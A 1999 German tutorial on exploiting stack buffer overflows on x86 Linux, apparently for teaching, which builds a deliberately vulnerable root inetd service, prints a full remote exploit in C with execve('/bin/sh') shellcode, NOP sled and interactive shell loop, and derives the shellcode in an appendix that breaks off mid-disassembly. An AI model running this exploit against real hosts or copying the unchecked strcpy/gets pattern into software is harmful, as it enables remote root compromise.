Buffer Overflow Bugs
 

                   Ein »Buffer Overflow Bug« in einem Programm mit erweiterten Privilegien kann zu einem der gefürchtetsten
                   Sicherheitslöcher werden, da sich unter Umständen dadurch die Möglichkeit bietet, beliebigen Maschinencode
                   auf dem Rechner mit den Privilegien des fehlerhaften Programms auszuführen. Leider wird in den meisten
                   Sicherheitsadvisories verschwiegen, wie dies eigentlich funktioniert1, weshalb in diesem Artikel eine
                   Einführung in das Wesen und die Ausnutzung von Buffer Overflow Bugs gegeben werden soll. Getreu dem Motto
                   »No Security by Obscurity«, was in diesem Zusammenhang soviel bedeutet wie: Durch Geheimhaltung von
                   Informationen, wie eine Sicherheitslücke ausgenutzt werden kann, läßt sich keine wirkliche Sicherheit
                   erreichen, wird in diesem Artikel die Ausnutzung von Buffer Overflow Bugs detailliert mit
                   Programmbeispielen beschrieben. Zum Verständnis dieses Artikels sind grundlegende Kenntnisse der
                   Programmiersprache »C«, sowie rudimentäre Kenntnisse in Assemblerprogrammierung nötig (Sie sollten
                   beispielsweise wissen, was ein Stapelspeicher, auch Stack genannt, ist.) Während das Prinzip eines Buffer
                   Overflow Bugs und dessen Ausnutzung immer dasselbe ist, ist die konkrete Durchführung stark von der
                   zugrundeliegenden Systemarchitektur abhängig. In diesem Artikel wird die Intel x86 Architektur unter dem
                   Betriebssystem Linux als Beispiel herangezogen. Alle vorgestellten Beispielprogramme funktionieren
                   ausschließlich unter einem solchen System.

                   Implementierungsschwächen der Programmiersprache »C«
                   Das entstehen von Buffer Overflow Bugs in Programmen, die in »C« geschrieben wurden, beruht auf der
                   Tatsache, das der C Compiler bei der Übersetzung keine Bereichsgrenzenüberprüfung für Schreibzugriffe auf
                   Speichervariablen vornimmt2. Legt man beispielsweise ein Array »char buffer[24]« an, so werden dafür 24
                   Bytes Speicherplatz reserviert, jedoch kann man mit Anweisungen wie »buffer[25]='x'« auch über den
                   reservierten Speicherbereich hinausschreiben. Betrachten wir dazu folgendes Beispiel3:
                   /*Beispiel: demo1.c*/
                   #include

                   void senseless()
                   {
                   char a[16];
                   char b[32];

                   strcpy(a,"123456789abcdef");
                   printf("a enthaelt: %s\n",a);
                   b[32]='X';
                   b[33]='Y';
                   b[34]='Z';
                   printf("a enthaelt jetzt: %s\n",a);
                   return;
                   }

                   main()
                   {
                   printf("Buffer Overflow demo\n");
                   senseless();
                   }
                   Im Unterprogramm »senseless« werden zwei Arrays angelegt. Array »a« bietet Platz für 16 Byte, Array »b«
                   hat eine Länge von 32 Byte; das letzte zulässige Element von Array »b« ist daher »b[31]«. Durch die
                   Anweisungen »b[32]='X'«, »b[33]='Y'« und » b[34]='Z'« schreiben wir gezielt Daten in einen unzulässigen
                   Bereich hinter der Grenze von Array »b«. Interessanterweise hat sich durch diese Aktion der Inhalt des
                   Array »a« verändert: Die ersten drei Bytes von Array »a« wurden überschrieben! Offensichtlich liegt Array
                   »a« direkt hinter Array »b« im Speicher.
                   Im nächsten Beispielprogramm verwenden wir die »strcpy« Funktion zum Kopieren von mit einem Nullbyte
                   terminierten Zeichenketten, um den Array »a« zu überschreiben«

                   /*Beispiel: demo2.c*/
                   #include

                   void senseless()
                   {
                   char a[16];
                   char b[32];

                   strcpy(a,"123456789abcdef");
                   printf("a enthaelt: %s\n",a);
                   strcpy(b,"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
                   printf("a enthaelt jetzt: %s\n",a);
                   return;
                   }

                   main()
                   {
                   printf("Buffer Overflow demo\n");
                   senseless();
                   }
                   Da die »strcpy« Funktion einen String ohne Bereichsgrenzenüberprüfung bis zum abschließenden Nullbyte
                   kopiert, wird die für den Array »b« zu große Zeichenkette trotzdem bis zum abschließenden Nullbyte in den
                   Array »b« kopiert, wodurch wieder der Array »a« überschrieben wird.
                   Wir haben in diesem Abschnitt gesehen, wie man solche »Buffer Overflows« gezielt zum überschreiben von
                   Programmdaten im Speicher ausnutzen kann. Im nächsten Schritt wollen wir sehen, wie man nicht nur Daten,
                   sondern auch den Programmablauf durch überschreiben von Speicherbereichen verändern kann. Dazu müssen wir
                   uns mit dem vom Compiler aus einer C Quelldatei erzeugten Maschinencode befassen.

                   Vom C Quellcode zum Assemblerprogramm
                   Mit dem Befehl »gcc -S demo1.c« können wir aus dem Quelltext »demo1.c« ein Assemblerprogramm mit Namen
                   demo1.s erzeugen lassen, aus der der Compiler anschließend den Maschinencode erzeugen würde, wenn die
                   Option »-S« in der Kommandozeile nicht gegeben wäre.

                   .file "demo1.c"
                   .version "01.01"
                   gcc2_compiled.:
                   .section .rodata
                   .LC0:
                   .string "123456789abcdef"
                   .LC1:
                   .string "a enthaelt: %s\n"
                   .LC2:
                   .string "a enthaelt jetzt: %s\n"
                   .text
                   .align 16
                   .globl senseless
                   .type senseless,@function
                   senseless:
                   pushl %ebp
                   movl %esp,%ebp
                   subl $48,%esp
                   pushl $.LC0
                   leal -16(%ebp),%eax
                   pushl %eax
                   call strcpy
                   addl $8,%esp
                   leal -16(%ebp),%eax
                   pushl %eax
                   pushl $.LC1
                   call printf
                   addl $8,%esp
                   movb $88,-16(%ebp)
                   movb $89,-15(%ebp)
                   movb $90,-14(%ebp)
                   leal -16(%ebp),%eax
                   pushl %eax
                   pushl $.LC2
                   call printf
                   addl $8,%esp
                   jmp .L1
                   .align 16
                   .L1:
                   movl %ebp,%esp
                   popl %ebp
                   ret
                   .Lfe1:
                   .size senseless,.Lfe1-senseless
                   .section .rodata
                   .LC3:
                   .string "Buffer Overflow demo\n"
                   .text
                   .align 16
                   .globl main
                   .type main,@function
                   main:
                   pushl %ebp
                   movl %esp,%ebp
                   pushl $.LC3
                   call printf
                   addl $4,%esp
                   call senseless
                   .L2:
                   movl %ebp,%esp
                   popl %ebp
                   ret
                   .Lfe2:
                   .size main,.Lfe2-main
                   .ident "GCC: (GNU) 2.7.2.3"
                   Befassen wir uns zunächst mit dem Aufruf des Unterprogramms »senseless«: Dies geschieht mit »call
                   senseless«. Dabei legt der Prozessor den aktuellen Befehlszeiger, der auf den nächsten auszuführenden
                   Befehl im Speicher zeigt, auf den Stack, um ihn von dort wieder holen zu können, und damit nach der
                   Rückkehr aus dem Unterprogramm das Hauptprogramm an der richtigen Stelle fortsetzen zu können. Die erste
                   Aktion des Unterprogramms ist es, den Wert des »ebp« Prozessorregisters auf den Stack zu legen, um dieses
                   Register im Unterprogramm mit anderweitigen Daten füllen zu können. Als nächstes wird der aktuelle Wert
                   des Stackpointers in genau dieses »ebp« Register geschrieben, womit Speicherstellen auf dem Stack relativ
                   zu dieser Anfangsposition des Stackpointers adressiert werden können. Als nächstes wird der Stackpointer
                   um 48 Byte erhöht. Da auf der x86 Architektur der Stack zu kleineren Speicheradressen hin wächst,
                   geschieht dies durch den Subtraktionsbefehl »subl $48«. Dadurch entsteht ein freier Bereich von 48 Byte
                   auf dem Stack, der zur Ablage der lokalen Variablen des Unterprogramms, in unserem Fall der beiden Arrays
                   »a« und »b«, genutzt wird. Aus dem weiteren Programmablauf läßt sich erkennen, daß der Array »a« direkt
                   unter dem Array »b« auf dem Stack, d.h. direkt hinter dem Array »b« im Speicherliegt.
 

                   Es verwundert nun nicht mehr, daß das hinausschreiben über die Grenze von Array »b« Werte im Array »a«
                   überschreibt, sei es durch explizites Schreiben, oder durch Verwendung der »strcpy« Funktion. Es fällt
                   weiterhin sofort auf, daß es durch weiteres hinausschreiben über die Grenze von Array »b«, bzw. Array »a«
                   möglich ist, die auf dem Stack liegende Rücksprungadresse ins Hauptprogramm, die durch den »call
                   senseless« Befehl dort abgelegt wurde und vom »ret« Befehl beim beenden des Unterprogramms in das
                   Befehlszeigerregister des Prozessors geladen werden wird, zu überschreiben. Wir haben damit die
                   Möglichkeit, dem Prozessor eine beliebige Speicherposition anzugeben, von der nach verlassen der
                   Unterprogramms der nächste zu verarbeitende Befehl geholt wird, und die »Programmausführung« fortgesetzt
                   wird.

                   Dies wird durch das nächste Beispielprogramm gezeigt:

                   /*Beispiel: demo3.c*/
                   #include

                   unsigned int addresse;

                   void nonsense()
                   {
                   printf("Ich bin jetzt im Unterprogramm nonsense\n");
                   return;
                   }

                   void senseless()
                   {
                   char a[16];
                   printf("Ich bin jetzt im Unterprogramm senseless\n");
                   addresse=(unsigned int)nonsense;
                   printf("Addresse der Funktion nonsense ist: 0x%x\n",addresse);
                   memcpy(a+20,&addresse,4);
                   return;
                   }

                   main()
                   {
                   printf("Buffer Overflow demo\n");
                   senseless();
                   }
                   In dem Unterprogramm »senseless« schreiben wir in die globalen Variable »unsigned int addresse« die
                   Adresse des Unterprogramms »nonsense«. Wie man sich leicht anhand der vorangegangenen Beispiele und
                   Stackdiagramme ausmalen kann, wird durch schreiben in den Speicherbereich von »a[20]« bis »a[24]« die
                   Rücksprungadresse in das Hauptprogramm überschrieben. Wir tragen in diesen Speicherbereich nun einfach die
                   Adresse des Unterprogramms »nonsense« ein. Tatsächlich wird nach Beendigung des Unterprogramms »senseless«
                   das Unterprogramm »nonsense« angesprungen und ausgeführt! Da durch diese irreguläre Aktion alle
                   Rücksprungadressen durcheinandergekommen sind, wird beim Versuch, das Unterprogramm »nonsense« zu
                   verlassen, das Programm an einer Speicherstelle ohne sinnvolle Prozessoranweisungen fortgesetzt, was über
                   kurz oder lang zu einer Beendigung des Programms wegen einer Speicherschutzverletzung führt.
                   Bisher haben unsere Beispielprogramme immer absichtlich eigene Speicherstellen überschrieben, um die damit
                   verbundenen Effekte zu zeigen. Bei einem Programm, daß einen Buffer Overflow Bug enthält, werden dagegen
                   an einer Stelle Daten, die aus der Eingabe an das Programm stammen in einen Array geschrieben, ohne zu
                   überprüfen, ob dessen Länge für die Datenmenge auch ausreicht. Ein einfaches Beispiel für ein solches
                   Programm werden wir im nächsten Abschnitt betrachten.

                   Ein einfacher Netzwerkdienst4 mit Buffer Overflow Bug
                   Das folgende Programm »victim.c« liest einen Namen über die Standardeingabe, und gibt diesen rückwärts
                   geschrieben über die Standardausgabe wieder aus.
                   /*This is a simple victim program, that contains a buffer overflow bug.*/
                   /*It will take input from stdin and send output to stdout. Use inetd to*/
                   /*use it as a network service. */
                   /* */
                   /* Written 1999 by Jochen Bauer */

                   #include

                   void backprint(char *name)
                   {
                   char buffer[256];
                   int i;
                   strcpy(buffer,name); /*<-- Buffer overflow bug is right here*/
                   printf("backwards, your name reads:\n");fflush(stdout);
                   for(i=strlen(buffer);i>=0;i--)
                   printf("%c",buffer[i]);
                   printf("\n");
                   return;
                   }

                   main()
                   {
                   char name[1024];
                   printf("Name: ");fflush(stdout);
                   gets(name);
                   backprint(name);
                   printf("Bye.\n");
                   }
                   Um daraus einen Netzwerkdienst zu machen, müssen wir dem Programm einen Netzwerkport zuweisen, und es vom
                   Internet Daemon (inetd) bei Anforderung starten lassen. Dazu können wir in /etc/services den Eintrag
                   victim 100/tcp #Beispiel fuer Buffer Overflow Bug
                   hinzufügen, und /etc/inetd.conf mit
                   victim stream tcp nowait root [victim binary mit vollem pfad] victim
                   ergänzen. Bitte beachten Sie, daß dieses Programm den Root Compromise des Rechners ermöglicht; wie das
                   geht wollen wir ja schließlich untersuchen. Benutzen Sie daher am besten zwei vom Netz getrennten Rechner
                   als Versuchsobjekte. Sie können auch nur mit einem Rechner über das Loopback Interface arbeiten, indem Sie
                   als Zieladresse 127.0.0.1 angeben. Nachdem dem inetd ein SIGHUP Signal geschickt wurde, sollte der neue
                   »Netzwerkdienst« verfügbar sein. Die ordnungsgemäße Benutzung geschieht mit »telnet Zieladresse 100«. Das
                   sollte dann ungefähr so aussehen:
                   jtb@luna:> telnet 127.0.0.1 100
                   Trying 127.0.0.1...
                   Connected to 127.0.0.1.
                   Escape character is '^]'.
                   Name: Freddy The Freeloader
                   backwards, your name reads:
                   redaoleerF ehT ydderF
                   Bye.
                   Connection closed by foreign host.
                   So ungefährlich dieses Programm auch auf den ersten Blick aussehen mag, es ermöglicht, wie bereits erwähnt
                   den sofortigen Root Compromise des Rechners von einem anderen Rechner aus: Das Programm »victim« wird vom
                   inetd, wie die meisten Netzwerkdienste, als Benutzer Root gestartet5. Da der Benutzer dieses Programms
                   über das Netz aber nur unkritische Möglichkeiten hat, nämlich das Eingeben eines Namens, ist dies zunächst
                   kein Sicherheitsloch. Vergleichen Sie dieses mit dem Finger Daemon, der auch unter dem Benutzer Root
                   läuft: Der Benutzer des Finger Dienstes hat über das Netz »nur« die Möglichkeit, Informationen über das
                   System und seine Benutzer zu erhalten, nicht mehr. Ein Buffer Overflow Bug bietet nun die Möglichkeit, aus
                   diesem Käfig der genau vorgegebenen Benutzungsmöglichkeiten des Netzwerkdienstes auszubrechen, und
                   beliebigen Maschinencode auf dem Zielrechner auszuführen.
                   Sehen wir uns zunächst das fehlerhafte Programm an. Der Buffer Overflow Bug ist leicht zu finden. In der
                   Unterfunktion »backprint« wird der über das Netz eingegebene Name, der bis zu 1022 Zeichen lang sein kann6
                   zur Weiterverarbeitung in einen mit 256 Bytes viel zu kleinen Puffer kopiert. Da die »strcpy« Funktion,
                   die den Kopiervorgang bis zum abschließenden Nullbyte des Namens durchführt, verwendet wird, kann man
                   durch Eingabe eines Namens, der länger als 256 Zeichen ist, erreichen, daß über den Puffer »char
                   buffer[256]« hinausgeschrieben wird. Wir können daher die Rücksprungadresse aus dem Unterprogramm
                   »backprint« mit einer in dem eingegebenen Namen untergebrachten Adresse überschreiben7. Wie aber läßt sich
                   nun beliebiger Maschinencode ausführen? Einfach dadurch, daß dieser Maschinencode in den ersten 256 Byte
                   des eingegebenen Namens untergebracht wird, und sich daher nach Aufruf des Unterprogrammes »Backprint« und
                   der Ausführung des »strcpy« Befehls in dem Array »char buffer[256]« befindet. Wir können dann die
                   Rücksprungadresse in das Hauptprogramm auf dem Stack mit der Adresse des sich in »char buffer[256]«
                   befindlichen Maschinencodes überschreiben und erreichen, daß dieser bei der versuchten Rückkehr ins
                   Hauptprogramm angesprungen und ausgeführt wird. Die Rücksprungadresse darf natürlich keine Nullbytes
                   enthalten, da dies den Kopiervorgang beenden würde. Soweit die prinzipiellen Überlegungen. Wollen wir nun
                   in der Praxis einen Angriff gegen den betreffenden Rechner unter Ausnutzung des Buffer Overflow Bugs in
                   unserem neuen Netzwerkdienst fahren, so sind noch einige technische Probleme zu lösen. Damit befaßt sich
                   der nächste Abschnitt.

                   Programmierung eines Buffer Overflow Exploits
                   In diesem Abschnitt soll detailliert auf die Technik der Ausnutzung eines Buffer Overflow Bugs eingegangen
                   werden. Dazu soll ein Angriffsprogramm, auch »Exploit« genannt geschrieben werden, um einen Rechner über
                   den im vorangegangenen Abschnitt vorgestellten, verwundbaren Netzwerkdienst anzugreifen. Die dem Angriff
                   zugrundeliegenden Prinzipien wurden bereits erläutert, so daß wir uns nun um die technischen Einzelheiten
                   kümmern können. Es stellen sich zunächst zwei Fragen:
                   Woher kennen wir die Adresse des Puffers »char buffer[256]« (im folgenden gelegentlich als Zielpuffer
                   bezeichnet) im Speicher, um die neue Rücksprungadresse darauf setzen zu können?
                   Welchen Maschinencode sollen wir ausführen?
                   Die Antwort auf die erste Frage ist folgende: Da der Puffer auf dem Stack des Programms liegt , ist die
                   Adresse die des Stackframes im virtuellen Adressraum des Programmes minus der Zahl der momentan auf dem
                   Stack liegenden Bytes. Um ein Gefühl für die ungefähre Lage des Stackframes zu bekommen, können wir
                   folgendes Programm verwenden.
                   #include

                   void main()
                   {
                   char a[4];
                   printf("Addresse des Arrays ist 0x%x\n",a);
                   }
                   Dieses, bzw. der daraus erzeugte Maschinencode tut nichts anderes, als einen Array auf dem Stack anzulegen
                   und dessen Adresse auszugeben. Durch Ausprobieren auf verschiedenen Rechnern erhalten wir z.B. die
                   Ergebnisse 0xbffff8b4, 0xbffff714, 0xbffff764, 0xbffff774, 0xbffff714, 0xbffff724, 0xbffff744. Die Adresse
                   wird um so niedriger sein, je mehr Bytes bereits auf dem Stack liegen8. In der Regel werden bei größeren,
                   komplexeren Programme wesentlich mehr Bytes auf dem Stack liegen, als bei diesem kleinen Testprogramm, so
                   daß wir die eben erhaltenen Werte als ungefähre Obergrenze für die unbekannte Pufferposition nehmen
                   können, und uns davon ausgehend nach unten tasten können, indem wir einfach Rücksprungadressen
                   ausprobieren und sehen, ob der eingebrachte Maschinencode ausgeführt wird. Da aber das byteweise nach
                   unter tasten ein viel zu großer Aufwand wäre, verwenden wir folgenden Trick: Wir sorgen dafür, daß der
                   Maschinencode im hinteren Teil des Puffers, den wir überschreiben wollen, liegt und füllen die Lücke
                   zwischen Pufferanfang und dem Maschinencode mit »No Operation« (NOP) Maschinenbefehlen auf, die vom
                   Prozessor einfach überlesen werden, ohne eine Aktion auszuführen, und »zielen« mit der Rücksprungadresse
                   in die Mitte dieses Bereiches. Treffen wir mit unserer Rücksprungadresse irgendwo in diesen Bereich von
                   NOP Befehlen, so läuft der Prozessor durch bis zu dem am Ende stehenden Maschinencode, der dann ausgeführt
                   wird. Sind wir aufgrund der Puffergröße also z.B. in der Lage einen Bereich mit 100 Byte NOP Befehlen
                   anzulegen, so können wir uns in 100 Byte Schritten mit der Rücksprungadresse nach unten tasten.
                   An dieser Stelle muß man sich noch über einen zweiten Unsicherheitsfaktor im Klaren sein. Nämlich den, daß
                   die Position des Puffers auf dem Stack variieren kann, indem z.B. vom Compiler Variablen auf dem Stack
                   umgeschichtet werden9. Wir können in unserem konkreten Beispiel nicht davon ausgehen, daß in jedem Fall
                   der Puffer »char buffer[256]« unter der Variable »int i« auf dem Stack liegt, und die Rücksprungadresse
                   unter »buffer[260]« bis »buffer[264]« erreichbar ist. Diese Unsicherheit können wir eliminieren, indem wir
                   den »Angriffspuffer«, mit dessen Inhalt der Zielpuffer überschrieben wird deutlich größer als diesen
                   Puffer machen, und den Platz hinter dem Maschinencode durch aneinanderreihen der Rücksprungadresse füllen.
                   Eine dieser Kopien der Rücksprungadresse wird dann mit hoher Wahrscheinlichkeit an der richtigen Stelle
                   liegen. In unserem Beispiel wollen wir eine Angriffspuffergröße von 356 Byte wählen. Die folgende
                   Abbildung stellt den Angriffspuffer der Situation auf dem Stack gegenüber und sollte manches klarer werden
                   lassen.
 
 

                   Die Antwort auf die zweite Frage ist sehr einfach: Wir wollen eine interaktive Shell starten. Damit können
                   wir alle weiteren denkbaren Aktionen interaktiv auf dem Zielrechner vornehmen10. Der Start einer Shell
                   kann über die »exec« Kernelfunktion vorgenommen werden. Deren Aufrufsequenz muß in Assembler programmiert
                   werden, und kann nach der Assemblierung mit Hilfe eines Debuggers als Maschinencode betrachtet und in das
                   Angriffsprogramm übertragen werden. Da das »zusammenbasteln« dieses Maschinencodes etwas Kenntnis der ix86
                   Programmierung erfordert, andererseits uns momentan aber keine neuen Erkenntnisse bringt, verlegen wir die
                   Erstellung des Maschinencodes in den Anhang. Bis dahin betrachten wird die Maschinencodesequenz im
                   Angriffsprogramm einfach als »Black Box«, von der wir nur zu Wissen brauchen, daß sie eine interaktive
                   Shell aufruft.

                   Nach diesen Vorüberlegungen ist das eigentliche Schreiben des Angriffsprogramms kein Problem mehr. Die
                   einzelnen Schritte, die wir umzusetzen haben sind:

                   Zusammensetzen des Angriffspuffers aus den NOP Befehlen, dem Maschinencode und der vermuteten
                   Sprungadresse.
                   Aufbauen einer Netzwerkverbindung zu unserem Netzwerkdienst auf dem Zielrechner.
                   Übergabe des Angriffspuffers als Antwort auf die Aufforderung der Namenseingabe
                   Aufsetzen eines simplen Terminalprogramms auf die Netzwerkverbindung zum Zielrechner, um mit der auf der
                   anderen Seite durch den Maschinencode gestarteten Shell kommunizieren zu können
                   Das folgende Programm erledigt alle diese Aufgaben.
                   /*------------------------------------------------------------------------------------*/
                   /* */
                   /* Generic buffer overflow demonstration exploit for ix86 */
                   /* */
                   /* Written in 1999 by Jochen Bauer */
                   /* */
                   /* !!This file is intended for educational purposes only!! */
                   /* */
                   /* You may only use this file or any modification of it for */
                   /* educational purposes. You are not allowed to use it to */
                   /* gain unauthorized access to other computer systems */
                   /* */
                   /* DISCLAIMER: I am NOT responsible for what YOU do with this file. */
                   /* */
                   /*------------------------------------------------------------------------------------*/
 

                   #include
                   #include
                   #include
                   #include
                   #include
                   #include
                   #include
                   #include
                   #include

                   #define PORT 100 /*target port*/
                   #define NOP 0x90 /*NOP instruction on ix86*/
                   #define CODE_OFFSET 200 /*offset for machinecode in buffer*/
                   #define BUFFER_LOCATION 0xbffff36c /*guessed location of the target buffer*/
                   #define ATTACK_BUFFER_SIZE 356 /*size of the target buffer + overflow*/

                   /*WARNING: CODE_OFFSET, BUFFER_LOCATION AND ATTACK_BUFFER_SIZE MUST BE MULTIPLES OF 4*/

                   /*the machine code that will execute /bin/sh*/
                   char shellcode[] =
                   "\xeb\x18\x5d\x31\xc0\x88\x45\x07\x89\x6d\x08\x89\x45"
                   "\x0c\xb0\x0b\x89\xeb\x8d\x4d\x08\x8d\x55\x0c\xcd\x80"
                   "\xe8\xe3\xff\xff\xff/bin/sh";

                   void usage(char *name)
                   {
                   printf("Usage: %s target_ip\n",name); /*print usage information*/
                   exit(1);
                   }

                   main(int argc, char *argv[])
                   {
                   char string[ATTACK_BUFFER_SIZE];
                   char buffer[1024];
                   int i,s,k;
                   unsigned int jumpaddr;
                   struct sockaddr_in dest;
                   fd_set fds,rfds;

                   if(argv[1]==NULL) /*no target? -> display usage information*/
                   usage(argv[0]);

                   dest.sin_family = AF_INET;
                   dest.sin_port = htons(PORT);
                   dest.sin_addr.s_addr = inet_addr(argv[1]); /*the target*/

                   printf("Preparing attack string.\n");
                   memset(string,NOP,sizeof(string));
                   memcpy(string+CODE_OFFSET,shellcode,strlen(shellcode));
                   /*copy the machine code into the string*/
                   printf("Wrote %u bytes of machine code into string\n",strlen(shellcode));

                   /*INFO: ((x+3)/4)*4 yields the next bigger value than x that is a multiple of 4*/

                   jumpaddr=BUFFER_LOCATION+((CODE_OFFSET/2+3)/4)*4;
                   printf("jumpaddress into the buffer is 0x%x\n",jumpaddr);
                   printf("Writing jumpaddress at offset(s): ");
                   for(k=((CODE_OFFSET+strlen(shellcode)+3)/4)*4; k<=sizeof(string)-4; k=k+4)
                   {
                   printf("%u ",k);
                   memcpy(string+k,&jumpaddr,4); /*fill rest of string with jumpaddress*/
                   }
                   printf("\n");

                   string[sizeof(string)-3]=13;
                   string[sizeof(string)-2]=10; /*carriage return and linefeed*/
                   string[sizeof(string)-1]=0; /*End of string*/
                   printf("Attack string ready\n");

                   s=socket(AF_INET,SOCK_STREAM,6); /*open a socket*/
                   if(s<0)
                   {
                   perror("socket");
                   exit(1);
                   }
                   i=connect(s,(struct sockaddr *)&dest,sizeof(struct sockaddr));
                   if(i<0) /*connect to the target*/
                   {
                   perror("connect");
                   exit(1);
                   }
                   printf("Connected to %s\n",argv[1]); /*hear, what the target has to say..*/
                   i=read(s,buffer,1024);
                   buffer[i]=0;
                   printf("%s\n",buffer);

                   printf("sending attack string....\n");
                   write(s,string,sizeof(string)); /*send the string to the target*/
                   i=read(s,buffer,1024);
                   buffer[i]=0;
                   printf("%s\n",buffer);

                   /*If all went well, we will now have a shell on the other side*/
                   /*the rest of the code will take care of the communication with*/
                   /*the shell on the remote host*/

                   FD_ZERO(&rfds); /*clear file discriptor set*/
                   FD_SET(0,&rfds);
                   FD_SET(s,&rfds); /*put s and stdin in fds*/

                   while(1)
                   {
                   memcpy(&fds,&rfds,sizeof(rfds));
                   i=select(s+1,&fds,NULL,NULL,NULL);
                   if(i==0)
                   exit(0); /*session closed*/
                   if(i<0)
                   {
                   perror("select");
                   exit(1);
                   }

                   if(FD_ISSET(s,&fds)) /*data from target*/
                   {
                   i=read(s,buffer,1024);
                   if(i<1)
                   {
                   printf("session closed\n");
                   exit(0);
                   }
                   write(1,buffer,i);
                   }

                   if(FD_ISSET(0,&fds)) /*data to target*/
                   {
                   i=read(0,buffer,1024);
                   if(i<1)
                   {
                   printf("session closed\n");
                   exit(0);
                   }
                   write(s,buffer,i);
                   }
                   }
                   }
                   Einige Anmerkungen zum Programm: Am Anfang können die Definitionen für den Zielport (PORT), die Länge des
                   NOP Bereiches im Angriffspuffer (CODE_OFFSET), die vermutete Position des »Zielpuffers« (BUFFER_LOCATION)
                   und die Größe des Angriffspuffers (ATTACK_BUFFER_SIZE) bei Bedarf geändert werden. Eine Notwendigkeit
                   hierfür sollte allerdings nur bei der Position des Zielpuffers bestehen. Bitte beachten Sie, daß der
                   verwendete Wert durch 4 teilbar sein muß. Die in den Angriffspuffer geschriebene Sprungadresse wird
                   automatisch auf eine durch 4 teilbare Speicheradresse in der Mitte des NOP Bereiches gesetzt, dabei muß
                   die geratene Posistion des Zielpuffers aber so gewählt worden sein, daß diese Adresse keine Nullbytes
                   enthält. Da sich aus Platzgründen keine Namensauflösungsroutine im Programm befindet, muß als Ziel immer
                   die IP Adresse des betreffenden Rechners angegeben werden. Schlägt der Angriffsversuch fehl, was meistens
                   auf eine falsch geratene Position des Zielpuffers zurückzuführen ist, so wird, aufgrund der Beendigung des
                   Programms »victim« durch eine Speicherschutzverletzung die Verbindung beendet. Ist der Angriff
                   erfolgreich, so sehen Sie keinen Shellprompt, haben aber trotzdem eine interaktive Shell zur Verfügung;
                   geben Sie einige Shellbefehle ein, um dies zu sehen. Das Kommando »id« wird ihnen zeigen, daß es sich bei
                   dieser Shell um eine Rootshell handelt11. Zum Auffinden der korrekten Position des Zielpuffers denken Sie
                   an die weiter oben besprochene Strategie: Beginnen Sie bei einer Position von etwa 0xbffff900 und tasten
                   Sie sich in 200 Byte Schritten nach unten. Möglicherweise funktioniert aber auch schon die in der
                   vorliegenden Version des Programms vorgegebene Adresse.
                   Happy Hacking!12

                   Anhang
                   Erstellung des Maschinencodes
                   Der zu erstellende Maschinencode soll eine interaktive Shell über die »exec« Funktion des Kernels
                   aufrufen. In C sieht ein solcher Aufruf folgendermaßen aus:
                   #include

                   main()
                   {
                   char *a[2];

                   a[0]="/bin/sh";
                   a[1]=NULL;

                   execve(a[0],a,NULL);
                   }
                   Dem »execve« Aufruf müssen als Argumente ein Pointer auf den String »/bin/sh«, ein Pointer auf die
                   NULL-terminierte Argumentliste, die hier nur aus dem Programmnamen »/bin/sh« besteht, und ein
                   Umgebungsvariablenpointer, der auch NULL sein kann, übergeben werden. Dies geschieht durch Übergabe von
                   »a[0]«, »a« und einem NULL Pointer als Umgebungsvariablenpointer. Der Aufruf der entsprechenden
                   Kernelfunktion von einem Assemblerprogramm aus, geschieht folgendermaßen:
                   Wir benötigen zunächst den String »/bin/sh«, im Speicher. Dessen Adresse müssen wir der Kernelfunktion im
                   »ebx« Prozessorregister übergeben. Um die Argumentliste zu erhalten, müssen wir als nächstes die Adresse
                   des Strings »/bin/sh« im Speicher ablegen und 4 Nullbytes dahinterschreiben (NULL-terminierung!). Die
                   Speicheradresse dieses Bereiches, die ja der Pointer auf die Argumentliste ist, müssen wir der
                   Kernelfunktion im »ecx« Prozessorregister übergeben. Als letztes Argument muß noch ein Pointer auf einen
                   NULL Pointer, anstelle des nicht vorhandenen Pointers auf die Umgebungsvariablen, im »edx«
                   Prozessorregister übergeben werden. Ist dies alles erledigt, so können wir die Kernelfunktionsnummer für
                   den »exec« Aufruf in das »eax« Prozessorregister schreiben und einen Softwareinterrupt auslösen. Zunächst
                   aber stehen wir vor einem Problem: Da wir die spätere Adresse des Maschinencodes im Zielpuffer nicht
                   kennen, wissen wir nicht, an welcher Speicheradresse der String »/bin/sh« liegen wird und können diese
                   daher nicht als Kernelfunktionsparameter übergeben! Die Lösung dieses Problems geschieht durch folgenden
                   Trick: Wir setzen unmittelbar vor den String »/bin/sh« eine »call« Anweisung, die nicht zu einen
                   Unterprogramm, sondern in die Maschinencodesequenz selber zurückführt. Da bei einer »call« Anweisung die
                   nachfolgende Speicheradresse als vorgesehene Rücksprungadresse ins Hauptprogramm auf den Stack gelegt
                   wird, können wir die Adresse des Strings »/bin/sh« anschließend vom Stack holen. Da das Kopieren des
                   Maschinencodes auf dem Zielrechner in den Puffer »char buffer[256]« durch die »strcpy« Routine vorgenommen
                   wird, die ein Nullbyte als Stringende betrachtet, darf der aus dem Assemblerprogramm resultierende
                   Maschinencode keine Nullbytes enthalten. Wir müssen daher manchmal zu etwas merkwürdig anmutenden
                   Assemblerkonstruktionen greifen, um Nullbytes im Maschinencode zu vermeiden, insbesondere müssen wir das
                   terminierende Nullbyte hinter dem String »/bin/sh« nachträglich anfügen.

                   Das Assemblerprogramm kann nun mit Hilfe der Inline Assembler Funktionalität des GNU C Compilers erstellt
                   werden.

                   void main()
                   {
                   __asm__("
                   jmp 0x18 #jump to call instruction
                   popl %ebp #get address of string into ebp
                   xorl %eax,%eax #clear eax
                   movb %eax,0x7(%ebp) #terminate string
                   movl %ebp,0x8(%ebp) #copy address of string to 0x8(ebp)
                   movl %eax,0xc(%ebp) #copy NULL word to 0xc(ebp)
                   movb $0xb,%al #copy exec kernel function number to eax
                   movl %ebp,%ebx #copy address of string to ebx
                   leal 0x8(%ebp),%ecx #copy address of argumentlist to ecx
                   leal 0xc(%ebp),%edx #copy address of the NULL word to edx
                   int $0x80 #trigger software interrupt
                   call -0x1d #return with address of string on the stack
                   .string \"/bin/sh\"
                   ");
                   }
                   Mit der ersten »jmp« Anweisung springen wir die unmittelbar vor dem String »/bin/sh« liegende »call«
                   Anweisung an, die wiederum einen Sprung auf den ersten Befehl hinter der »jmp« Anweisung ausführt. Die
                   relativen Sprungadressen erhält man entweder durch Kenntnis der Befehlslängen und Abzählen der Bytes, oder
                   »experimentell« durch eintragen von »dummy-Werten« , disassemblierung und Anpassen der Werte. Kompiliation
                   des Programmes und disassemblierung der Funktion »main« liefert nun
                   0x8048460 (main): pushl %ebp
                   0x8048461 (main+1): movl %esp,%ebp
